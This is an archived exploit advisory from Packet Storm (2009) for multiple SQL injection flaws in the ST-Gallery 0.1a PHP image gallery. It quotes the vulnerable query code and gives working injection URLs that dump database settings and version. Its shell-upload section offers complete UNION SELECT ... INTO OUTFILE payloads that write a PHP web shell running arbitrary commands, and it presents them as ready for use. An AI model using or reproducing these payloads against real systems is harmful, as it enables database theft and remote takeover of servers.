exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ST-Gallery 0.1a SQL Injection

ST-Gallery 0.1a SQL Injection
Posted May 8, 2009
Authored by YEnH4ckEr

ST-Gallery version 0.1a suffers from multiple remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection
SHA-256 | 5c559ec4be7446ab4f7d156aedd507d7cb6de8035ac788f4cc1cb59b458b7b51

ST-Gallery 0.1a SQL Injection

Change Mirror Download
***********************************************************************************************
***********************************************************************************************
** **
** **
** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] **
** || || || [] [][] [] [] [] [] [] [] [] [] [] [] **
** [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] **
** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>--
** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
[> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] [] **
** **
** **
** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O **
** ¡PROUD TO BE SPANISH! **
** **
***********************************************************************************************
***********************************************************************************************

----------------------------------------------------------------------------------------------
| SQL INJECTION VULNERABILITIES |
|--------------------------------------------------------------------------------------------|
| | ST-Gallery version 0.1 alpha | |
| CMS INFORMATION: ------------------------------- |
| |
|-->WEB: http://blog.sebastian-thiele.net/projekte/gallery/ |
|-->DOWNLOAD: http://sourceforge.net/projects/st-gallery/ |
|-->DEMO: N/A |
|-->CATEGORY: CMS / Image Galleries |
|-->DESCRIPTION: Diese Galerie ist der erste Teil einer Projektreihe. |
| Diese Galerie ist für Leute gedacht, die sich mit der PHP-Programmierung... |
|-->RELEASED: 2009-02-26 |
| |
| CMS VULNERABILITY: |
| |
|-->TESTED ON: firefox 3 |
|-->DORK: N/A |
|-->CATEGORY: SQL INJECTION |
|-->AFFECT VERSION: CURRENT |
|-->Discovered Bug date: 2009-04-05 |
|-->Reported Bug date: 2009-04-05 |
|-->Fixed bug date: Not fixed |
|-->Info patch: Not fixed |
|-->Author: YEnH4ckEr |
|-->mail: y3nh4ck3r[at]gmail[dot]com |
|-->WEB/BLOG: N/A |
|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. |
|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) |
----------------------------------------------------------------------------------------------


#########################
////////////////////////

SQL INJECTION (SQLi):

////////////////////////
#########################


<<<<---------++++++++++++++ Condition: magic_quotes_gpc=off +++++++++++++++++--------->>>>


-------
INTRO:
-------


This is a crazy app, admin zone isn't protected, perhaps it needs a .htaccess file. Database doesn't store

information about users (or admin).


------------
FILES VULN:
------------

Path --> [HOME_PATH]/example.php

...

if($_GET[gallery_category]){

getGalleryImage($_GET[gallery_category], $_GET[gallery_show], true, "both", 450, "");

}

...

Path --> [HOME_PATH0]/st_admin/gallery_output.php

...

function getGalleryImage($album, $image, $showAlbum, $posNav, $maxWidth){

if($showAlbum){

$abfrage = "SELECT * FROM ".$db_prefix."gallery_category WHERE id = '$album'";
$ergebnis = mysql_query($abfrage);
...

}
$abfrage = "SELECT * FROM ".$db_prefix."gallery_images WHERE category = '$album'";
$ergebnis = mysql_query($abfrage);

...


-------------------
PROOFS OF CONCEPT:
-------------------


GET vars --> gallery_category and gallery_show


PoC-1: http://[HOST]/[HOME_PATH]/example.php?gallery_category=-1%27+UNION+ALL+SELECT+1,concat(name,0x3A3A3A,value)+FROM+st_settings+WHERE+id=2/*


Return --> gallery_path = ... (**take note)


PoC-2: http://127.0.0.1/st-gallery/example.php?gallery_category=1&gallery_show=-1%27+union+all+select+1,version(),database(),4,5,6/*


Return --> version and databse


-------------------------
EXPLOITS (SHELL UPLOAD):
-------------------------


<<<<---------++++++++++++++ Condition: Permission to create files +++++++++++++++++--------->>>>


[COMPLETE-PATH] --> (**use note)


Ex-1: http://[HOST]/[HOME_PATH]/example.php?gallery_category=-1%27+UNION+ALL+SELECT+'<HTML><title>SHELL BY --Y3NH4CK3R--></title><body text=ffffff bgcolor=000000><center><h1>YOUR SHELL IS ON!<br></h1></center><br><br><font color=ff0000><h2>Get var (cmd) to execute comands. Enjoy it!</h2></font><h3>Command Result:</h3><?php system($_GET[cmd]); ?>','<br><br><font color=ff0000><h3>By y3nh4ck3r. Contact: y3nh4ck3r@gmail.com</h3></font></body></HTML>'+INTO+OUTFILE+'[COMPLETE-PATH]/shell.php'/*


Ex-1: http://[HOST]/[HOME_PATH]/example.php?gallery_category=1&gallery_show=-1%27+UNION+ALL+SELECT+'<HTML><title>SHELL BY --Y3NH4CK3R--></title><body text=ffffff bgcolor=000000><center><h1>YOUR SHELL IS ON!<br></h1>','</center><br><br><font color=ff0000><h2>Get var (cmd) to execute comands. Enjoy it!</h2></font>','<h3>Command Result:</h3><?php system($_GET[cmd]); ?>','<br><br><font color=ff0000>','<h3>By y3nh4ck3r. Contact: y3nh4ck3r@gmail.com</h3>','</font></body></HTML>'+INTO+OUTFILE+'[COMPLETE-PATH]/shell.php'/*


Return: Your shell in --> http://[HOST]/[HOME_PATH]/shell.php



<<<-----------------------------EOF---------------------------------->>>ENJOY IT!


#######################################################################
#######################################################################
##*******************************************************************##
## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: JosS, Ulises2k and all spanish Hack3Rs community! ##
##*******************************************************************##
#######################################################################
#######################################################################



Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close